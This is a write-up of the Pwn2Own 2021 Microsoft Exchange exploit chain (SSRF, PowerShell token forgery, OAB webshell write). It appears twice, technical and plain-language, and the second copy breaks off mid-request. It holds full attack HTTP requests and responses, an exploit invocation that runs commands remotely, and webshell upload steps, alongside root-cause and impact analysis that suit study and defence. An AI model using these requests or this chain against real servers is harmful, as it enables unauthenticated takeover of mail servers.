Pwn2Own 2021 Microsoft Exchange Exploit Chain
A chain of three vulnerabilities in Microsoft Exchange Server allows an unauthenticated attacker to write a webshell and execute arbitrary code. The first is an SSRF in the Autodiscover frontend that proxies requests as LocalSystem; the second is an authentication bypass in the PowerShell backend via a forged token; the third is an arbitrary file write in the OAB service that lets an attacker upload a webshell.
Microsoft Exchange Unauthenticated SSRF in Autodiscover frontend service combined with Authentication Bypass in Powershell Backend service and Arbitrary File Write in OAB backend service lead to Remote Code Execution
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Microsoft Exchange Server splits its client-facing work between frontend (Client Access) services and backend services. The frontend services accept all forms of client connections and proxy them to the backend services on the destination Mailbox server, which may be the local server or a remote Mailbox server holding the active copy of the user's mailbox. Clients never connect to the backend services directly.
The chain described here combines three bugs in that proxying and backend trust model:
- an unauthenticated SSRF in the Autodiscover frontend service, which lets a remote attacker send an arbitrary request with a controlled URI and controlled data to an arbitrary backend service, fully authenticated as LocalSystem;
- an authentication bypass in the Powershell backend service, which lets a remote attacker run arbitrary Exchange cmdlets as Administrator;
- an arbitrary file write in the OAB backend service, which lets a remote attacker write a webshell into the OAB folder.
No authentication is required to exploit the chain. The first two bugs were duplicated with Orange Tsai's work and are known as the ProxyShell bugs, so the author only got a partial win in the Pwn2Own contest. The third is the one this write-up spends most of its time on.
Setup
The testing environment was an Exchange server reachable at https://exchange16.domaincorp.com, with email addresses in the form <username>@domaincorp.com. The exploit itself is written in Python 2.7 and needs the requests module:
pip install requests
It is run as:
python exploit.py <url> <domain_part> <command>
- url: the target url, for example https://ex19.[redacted]
- domain_part: the domain part an email address, for example [redacted], the domain part will be [redacted]
- command: the cmd command to run on server, for example whoami, dir
Example:
python exploit.py https://ex19.[redacted] [redacted] "whoami /all"
The exploit is published at exploit.py.
Finding it
The starting point is the trust the frontend places in the backend and the trust the backend places in headers that the frontend is supposed to set. The Autodiscover frontend will proxy a request to a backend path derived from user-controlled input, and it authenticates that proxied request itself. The Powershell backend, in turn, decides who the caller is from an X-CommonAccessToken header, which the frontend normally supplies. Each of those two assumptions can be broken, and the OAB generation path then turns mailbox content into files on disk without checking the file extension.
Exploitation
Step 1: SSRF in the Autodiscover frontend
The Autodiscover frontend accepts a request whose email cookie carries an Autodiscover v2 preview path. For example:
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
SOAPAction: "http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"
Content-Type: text/xml;charset=UTF-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 1429
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
...
</soapenv:Envelope>
The value of the email cookie is Autodiscover/autodiscover.json?SecurityToken1=[redacted]. It is stored into this.explicitLogonAddress when RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath) returns true.
Later, when the frontend calls GetClientUrlForProxy to build the proxy path, the value of this.explicitLogonAddress is removed from the original AbsoluteUri. The important detail is that the code uses base.ClientRequest.Url.AbsoluteUri, not base.ClientRequest.Url.AbsolutePath.
The original AbsoluteUri is /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/ews/exchange.asmx. After removing Autodiscover/autodiscover.json?SecurityToken1=[redacted], the final proxy path is /ews/exchange.asmx. The attacker therefore controls which backend path the request reaches.
The proxied request is authenticated as LocalSystem (the computer account), because PrepareServerRequest constructs a Kerberos Authorization header and adds it to the proxy request.
With this SSRF the author reused techniques from Orange Tsai's ProxyLogon work. The first payload retrieves the UserDN (Legacy DN) of a mailbox. It targets SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com, a special mailbox that always exists:
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/Autodiscover/Autodiscover.svc HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: text/xml; charset=utf-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 1105
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
<wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
<wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
</soap:Header>
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDN</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
</soap:Envelope>
The response returns the UserDN in a StringSetting named UserDN:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: a1d3f976-97ad-42dd-b19a-07ed66b685a1
X-CalculatedBETarget: exchange16.domaincorp.com
X-DiagInfo: EXCHANGE16
X-BEServer: EXCHANGE16
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 31-Mar-1991 02:22:42 GMT; path=/Autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE16
Date: Wed, 31 Mar 2021 02:22:42 GMT
Content-Length: 1314
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettingsResponse</a:Action><h:ServerVersionInfo xmlns:h="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><h:MajorVersion>15</h:MajorVersion><h:MinorVersion>1</h:MinorVersion><h:MajorBuildNumber>2242</h:MajorBuildNumber><h:MinorBuildNumber>4</h:MinorBuildNumber><h:Version>Exchange2015</h:Version></h:ServerVersionInfo></s:Header><s:Body><GetUserSettingsResponseMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"><Response xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ErrorCode>NoError</ErrorCode><ErrorMessage/><UserResponses><UserResponse><ErrorCode>NoError</ErrorCode><ErrorMessage>No error.</ErrorMessage><RedirectTarget i:nil="true"/>
<UserSettingErrors/><UserSettings>
<UserSetting i:type="StringSetting">
<Name>UserDN</Name>
<Value>/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=[redacted]-SystemMailbo</Value>
</UserSetting>
</UserSettings></UserResponse></UserResponses></Response></GetUserSettingsResponseMessage></s:Body></s:Envelope>
The next payload uses that UserDN against the MAPI/emsmdb backend to obtain the SID of the user:
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/mapi/emsmdb HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
X-Requestid: {C715155F-2BE8-44E0-BD34-2960065754C8}:2
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Type: application/mapi-http
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 149
/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=[redacted]-SystemMailbo....
The SID of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com is S-1-5-21-3452439987-3899459676-4048896270-1124. From that the author derives the domain identifier 3452439987-3899459676-4048896270 and the SID of the Administrator account, S-1-5-21-3452439987-3899459676-4048896270-500.
Step 2: Authentication bypass in the Powershell backend
The SSRF lets an attacker reach the Powershell backend with LocalSystem privilege, but that backend performs an additional check on the presence of the X-CommonAccessToken header, which the frontend normally passes to the backend to identify the current logon user.
The header is restricted in SSRF requests: an attacker cannot set it on the original request, and the proxy never copies X-CommonAccessToken from the original request.
However, the Powershell backend has an IIS module that converts an X-Rps-CAT query string value into the X-CommonAccessToken header before the check runs. An attacker can therefore forge an arbitrary X-CommonAccessToken through the query string.
The demonstration request carries the forged token in X-Rps-CAT:
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=[redacted] HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/soap+xml;charset=UTF-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 7075
....
The author reversed the CommonAccessToken format and built a token for the Administrator account that includes domain groups such as domain admins and schema admins. The domain identifier was leaked in the previous step, and the domain name can be any string.
With a valid CommonAccessToken, a Powershell request can be sent with Administrator privilege. The author rewrote a simple Powershell Remoting protocol to run any Exchange cmdlet. The limit is that only Exchange cmdlets can be run, not arbitrary Windows cmdlets, so something like Add-Content -Path C:\test.txt -Text abc is not possible, while cmdlets such as get-mailbox are.
Step 3: Arbitrary file write in the OAB backend
An offline address book (OAB) is a local copy of an address list collection. In the Exchange Management Shell with an administrator account, a new OAB is created with:
New-OffLineAddressbook -Name test1 -AddressLists "Default Global Address List"
The GUID of the new OAB is then retrieved. In the example it is 02f1b6a8-8b8f-40c8-9df3-ac753563f9b8.
From the internet, OAB files are requested through a URL of the form https://exchange16.domaincorp.com/oab/02f1b6a8-8b8f-40c8-9df3-ac753563f9b8/oab.xml. On first access the OAB files are generated and saved in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\02f1b6a8-8b8f-40c8-9df3-ac753563f9b8.
Besides the OS file system, OAB files are also stored in the OAB folder of the special system mailbox SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com. This can be checked by calling the EWS service on that mailbox.
In the OAB folder of the mailbox there is an item IPM.FileSet whose subject is 02f1b6a8-8b8f-40c8-9df3-ac753563f9b8, the same GUID as before.
So for each OAB created with New-OfflineAddressBook:
- there is a corresponding folder in
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>; - there is a corresponding
IPM.FileSetitem in the OAB folder of theSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.commailbox, with subject<oab_guid>.
The process of generating new OAB files is:
- Get the
oab_guidfrom the URL/oab/<oab_guid>/oab.xml. - Check for the existence of an item with subject
<oab_guid>in the OAB folder of theSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.commailbox. - If the item exists, download all attachment files of this item from the mailbox and save them in
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>. - If the item does not exist, generate the OAB files and save them in the OAB folder of the
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.commailbox.
Step 3 is the interesting one:
If the OAB folder of the SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox can be controlled, the files in C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> can be controlled. The vulnerability is in step 3: when OAB files are downloaded and saved to the OS file system, the filename is not checked for malicious extensions such as .aspx or .ashx. A webshell can therefore be written into C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> and reached at /oab/<oab_guid>/malicious.ashx.
Step 4: Combining the bugs
The first two vulnerabilities are used to control the OAB folder of the SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox.
Using the Powershell authentication bypass, the New-OfflineAddressBook cmdlet is issued to create a new OAB and obtain its oab_guid. Then the SSRF is used to send a request to /ews/exchange.asmx under the privilege of the SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com mailbox. The SSRF request authenticates with the LocalSystem account and therefore has permission to impersonate another mailbox user with the SerializedSecurityContext element.
The exploit steps are:
- Create a new
IPM.FileSetitem with subject<oab_guid>in the OAB folder ofSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com. - Attach two files,
oab.xmlandrskvp93.ashx, to this item. This step is complex because export and import techniques are needed to control the hash property of the two files. - Trigger
OABGeneratorProcessby accessing/oab/<oab_guid>/oab.xml. OABGeneratorProcessdownloads all attachments in the item with subject<oab_guid>in the OAB folder ofSystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com.OABGeneratorProcesssaves all attachments in the OS file system atC:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>.- The webshell is available at
/oab/<oab_guid>/rskvp93.ashx.
Root cause
Three separate design mistakes line up.
First, the Autodiscover frontend builds the proxy path by stripping this.explicitLogonAddress from base.ClientRequest.Url.AbsoluteUri rather than from AbsolutePath. Because the query string is part of AbsoluteUri, an attacker who places a path-like value in the query string can make the frontend forward the request to a backend path of their choosing, and the frontend signs that request with Kerberos as LocalSystem. The frontend therefore acts as an authenticated proxy for unauthenticated input.
Second, the Powershell backend trusts an X-CommonAccessToken header for identity, and an IIS module promotes the X-Rps-CAT query string into that header. Blocking the header on proxied requests does not help when the same value can arrive through the query string.
Third, the OAB generation path treats mailbox attachments as trusted content: it downloads every attachment of the IPM.FileSet item and writes it to disk under the OAB directory without validating the file extension. Since that directory is served by IIS, an .ashx file written there is executable.
Impact
A remote, unauthenticated attacker can write a webshell and execute arbitrary code on affected Exchange Server installations. The SSRF reaches backend services as LocalSystem, the forged token grants Administrator-level Exchange cmdlet execution, and the OAB write places an executable file in a web-served directory. The author says the third vulnerability can be exploited to get RCE on Exchange Online services.
Fix
The report does not describe how Microsoft addressed the first two issues. The report does not describe the specific code changes. A fix for the OAB write would need to validate attachment filenames before writing them to the OAB directory.
Variants to test
- On other Exchange frontends, try placing a path in the
emailcookie or in an Autodiscover v2 preview query string and see whether the proxied request lands on a different backend path than the one requested. A positive result is a backend response from a service you did not address directly. - Try supplying
X-Rps-CATon requests to the Powershell backend and check whether the resulting identity matches the token rather than the caller. A positive result is an Exchange cmdlet executing with privileges the caller does not hold. - Create an OAB, place an
IPM.FileSetitem with a matching subject in the system mailbox OAB folder, attach a file with an executable extension, and request/oab/<oab_guid>/oab.xml. A positive result is the attachment appearing underClientAccess\OAB\<oab_guid>and being served back. - Check whether other mailbox-driven file generation paths (anything that copies attachments into a web-served directory) validate extensions. A positive result is a file with a script extension being written and then executed over HTTP.
What happened, in plain words
Microsoft Exchange Server is the software many companies use to run their email. It does not do all the work in one place. It has a front desk and a back office. The front desk (called the frontend, or Client Access services) is the part that talks to the outside world: phones, Outlook, browsers. The back office (the backend services) is where mailboxes actually live and where the real work happens. The front desk takes every request from a client and passes it on to the back office. Clients never talk to the back office directly.
That arrangement is the setting for this story. The author found three separate mistakes that, chained together, let someone who has never logged in take full control of the server. In plain terms:
- The front desk can be tricked into fetching a page of the attacker's choosing from the back office, and it signs that request itself, as the most trusted account on the machine. This kind of trick is called SSRF, short for Server-Side Request Forgery: the server is made to send a request on the attacker's behalf.
- The back office's Powershell service decides who you are by reading a badge (a header) that the front desk is supposed to attach. The attacker found a way to forge that badge. This is an authentication bypass: getting past the identity check without having the right credentials.
- The service that builds offline address books (OAB) copies files out of a mailbox onto the disk and serves them over the web, without checking what kind of file it is copying. The attacker can therefore plant a small program (a webshell) and then run it. That is remote code execution, RCE.
No login is needed at any point. The first two bugs turned out to be the same ones another researcher, Orange Tsai, had already reported; together they became known as the ProxyShell bugs. Because of that overlap the author only got a partial win in the Pwn2Own contest. The third bug is the one this write-up spends most of its time on, and the author says it can also be used to get code execution on Exchange Online services.
Setting up the exploit
The author tested against an Exchange server at https://exchange16.domaincorp.com, with email addresses shaped like <username>@domaincorp.com. The exploit is a script written in Python 2.7, an older version of the Python programming language. It needs one extra library, requests, which is the usual way Python code makes web requests. Installing it:
pip install requests
pip is Python's package installer; this line downloads the requests library so the script can use it.
Running the exploit looks like this:
python exploit.py <url> <domain_part> <command>
- url: the target url, for example https://ex19.[redacted]
- domain_part: the domain part an email address, for example [redacted], the domain part will be [redacted]
- command: the cmd command to run on server, for example whoami, dir
Example:
python exploit.py https://ex19.[redacted] [redacted] "whoami /all"
Line by line: python exploit.py runs the script. The three placeholders are what you fill in. <url> is the address of the victim server. <domain_part> is the part of an email address after the @, which tells the script which Windows domain the server belongs to. <command> is the Windows command you want executed on the server once the chain succeeds; whoami prints which user you are running as, and dir lists files. The example runs whoami /all.
The exploit is published at exploit.py.
How the author found it
The thinking behind the whole chain is about trust. The front desk trusts that the path it forwards to the back office is harmless. The back office trusts a header that the front desk is supposed to set. And the address book builder trusts whatever files it finds in a mailbox. Break each of those assumptions in turn and you walk from the outside of the server to running code on it.
Step 1: tricking the front desk (SSRF)
The concepts you need first
- Cookie: a small piece of text a website asks your browser to store and send back with every request. It is how a site remembers who you are between page loads. Here the interesting cookie is called
email. - Header: extra lines of text sent alongside a web request or response, carrying metadata: what type of content this is, who is asking, and so on. Think of the envelope around a letter.
- Query string: the part of a URL after a
?, used to pass parameters, for example?name=value. - SOAP and XML: SOAP is a way of sending structured messages over HTTP, and the messages are written in XML, a text format built from tags in angle brackets. Exchange uses SOAP heavily.
- SSRF: Server-Side Request Forgery. The attacker does not send the dangerous request from their own computer; they persuade the server to send it. The server then acts with its own network position and its own credentials.
- LocalSystem: on Windows, the built-in account under which the operating system itself runs. It is the most powerful local account there is, far above a normal user.
- Kerberos: the authentication system Windows uses to prove identity between machines. A Kerberos
Authorizationheader is a cryptographic proof of who is calling.
The bug
The Autodiscover frontend is the part of Exchange that clients ask "where is my mailbox?". It accepts a request whose email cookie contains an Autodiscover v2 preview path. Here is the example request:
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
SOAPAction: "http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"
Content-Type: text/xml;charset=UTF-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 1429
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
...
</soapenv:Envelope>
Line by line: the first line says this is a POST (a request that carries data) to a path that starts with /Autodiscover/autodiscover.json, then has a query string, then continues with /ews/exchange.asmx. That last part looks like a path but sits after the ?, so the server treats it as part of the query string. Host names the server. User-Agent says which browser is calling. SOAPAction names the operation being requested. Content-Type says the body is XML. The Cookie line carries the email cookie, whose value is Autodiscover/autodiscover.json?SecurityToken1=[redacted]. The body is a SOAP envelope, abbreviated with ....
The value of the email cookie is Autodiscover/autodiscover.json?SecurityToken1=[redacted]. The frontend stores it into an internal variable called this.explicitLogonAddress when a check called RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath) returns true. In plain words: if the incoming path looks like the newer Autodiscover format, the server remembers the cookie value as the address the user is logging on with.
Later, when the frontend calls a method named GetClientUrlForProxy to build the path it will forward, it removes the value of this.explicitLogonAddress from the original AbsoluteUri. AbsoluteUri means the full address including the query string; AbsolutePath means just the path part without the query string. The code uses AbsoluteUri, and that is the important detail.
The original AbsoluteUri is /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/ews/exchange.asmx. The server strips out Autodiscover/autodiscover.json?SecurityToken1=[redacted], and what is left is /ews/exchange.asmx. So the attacker has chosen which backend page the front desk will fetch. The front desk thinks it is doing normal business.
The forwarded request is authenticated as LocalSystem, the computer account, because a method called PrepareServerRequest builds a Kerberos Authorization header and adds it to the forwarded request.
In other words: the attacker sends an anonymous request, and the front desk turns it into a request signed by the most trusted account on the machine. That is the whole power of this SSRF.
Using the SSRF to learn about a mailbox
With this SSRF the author reused techniques from Orange Tsai's ProxyLogon work. The first payload asks the backend for the UserDN (also called Legacy DN) of a mailbox. A UserDN is a long text identifier for a mailbox inside the Exchange directory, something like a postal address for a mailbox. The target is SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com, a special mailbox that always exists on an Exchange server.
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/Autodiscover/Autodiscover.svc HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: text/xml; charset=utf-8
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 1105
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
<wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
<wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
</soap:Header>
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDN</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
</soap:Envelope>
Line by line: the request line again hides the real destination after the ?. The cookie is the same trick as before. The body is a SOAP message. The soap:Header section says which version of the protocol is being used and which operation is requested (GetUserSettings). The soap:Body contains the actual question: for the mailbox SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com, please return the setting called UserDN. Because the front desk signs this request as LocalSystem, the backend answers it even though the attacker never logged in.
The response returns the UserDN in a StringSetting named UserDN:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: a1d3f976-97ad-42dd-b19a-07ed66b685a1
X-CalculatedBETarget: exchange16.domaincorp.com
X-DiagInfo: EXCHANGE16
X-BEServer: EXCHANGE16
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 31-Mar-1991 02:22:42 GMT; path=/Autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE16
Date: Wed, 31 Mar 2021 02:22:42 GMT
Content-Length: 1314
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettingsResponse</a:Action><h:ServerVersionInfo xmlns:h="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><h:MajorVersion>15</h:MajorVersion><h:MinorVersion>1</h:MinorVersion><h:MajorBuildNumber>2242</h:MajorBuildNumber><h:MinorBuildNumber>4</h:MinorBuildNumber><h:Version>Exchange2015</h:Version></h:ServerVersionInfo></s:Header><s:Body><GetUserSettingsResponseMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"><Response xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ErrorCode>NoError</ErrorCode><ErrorMessage/><UserResponses><UserResponse><ErrorCode>NoError</ErrorCode><ErrorMessage>No error.</ErrorMessage><RedirectTarget i:nil="true"/>
<UserSettingErrors/><UserSettings>
<UserSetting i:type="StringSetting">
<Name>UserDN</Name>
<Value>/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=[redacted]-SystemMailbo</Value>
</UserSetting>
</UserSettings></UserResponse></UserResponses></Response></GetUserSettingsResponseMessage></s:Body></s:Envelope>
Line by line: the first line is the status, 200 OK, meaning success. The headers in between are metadata: which server software answered (Microsoft-IIS/10.0), an identifier for the request, which backend server handled it, and so on. The Set-Cookie line tries to clear a cookie called X-BackEndCookie. The body is the answer in XML. The part that matters is the UserSetting block: its Name is UserDN and its Value is the long string starting /o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=[redacted]-SystemMailbo. That is the mailbox's directory address.
The next payload uses that UserDN against the MAPI/emsmdb backend to obtain the SID of the user. MAPI is the protocol Outlook uses to talk to Exchange, and emsmdb is the name of the backend service that speaks it. A SID (Security Identifier) is Windows' unique number for an account or group; it looks like S-1-5-21-... and never changes.
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/mapi/emsmdb HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
X-Requestid: {C715155F-2BE8-44E0-BD34-2960065754C8}:2
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Type: application/mapi-http
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=[redacted]
Content-Length: 149
/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=[redacted]-SystemMailbo....
Line by line: the request line again hides /mapi/emsmdb after the ?. The X-User-Identity header names the mailbox being asked about. X-Requestid, X-Requesttype and X-Clientinfo are bookkeeping headers that MAPI clients normally send. X-Clientapplication pretends to be Outlook. The body is the UserDN obtained in the previous step, truncated with ..... The front desk signs the whole thing as LocalSystem, so the MAPI backend answers.
The SID of SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com is S-1-5-21-3452439987-3899459676-4048896270-1124. From that the author derives the domain identifier 3452439987-3899459676-4048896270 and the SID of the Administrator account, S-1-5-21-3452439987-3899459676-4048896270-500. The last number is the part that identifies the individual account within the domain; 500 is the well-known ending for the built-in Administrator account. So knowing one SID tells you the domain's number and therefore the Administrator's SID.
Step 2: forging the badge (authentication bypass)
The concepts you need first
- Powershell backend: the Exchange service that accepts commands written in PowerShell, Microsoft's command language. Administrators use it to manage mailboxes.
- Cmdlet: a PowerShell command, such as
get-mailbox. - IIS module: a plug-in inside Microsoft's web server, IIS, that runs on every request and can inspect or rewrite it.
- X-CommonAccessToken: a header Exchange uses to carry a compact, encoded description of who the caller is. Think of it as a badge that says "this person is an administrator".
- X-Rps-CAT: a query string parameter that the Powershell backend's IIS module turns into the
X-CommonAccessTokenheader.
The bug
The SSRF lets an attacker reach the Powershell backend with LocalSystem privilege, but that backend performs an additional check on the presence of the X-CommonAccessToken header. The frontend normally passes this header to the backend to identify the current logon user.
The header is restricted in SSRF requests: an attacker cannot set it on the original request, and the proxy never copies X-CommonAccessToken from the original request.
So far, so safe. But the Powershell backend has an IIS module that converts an X-Rps-CAT query string value into the X-CommonAccessToken header before the check runs. An attacker can therefore forge an arbitrary X-CommonAccessToken through the query string. Blocking the header on forwarded requests does not help when the same value can arrive by another door.
The demonstration request carries the forged token in X-Rps-CAT:
POST /Autodiscover/autodiscover.json?SecurityToken1=[redacted]/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=[redacted] HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
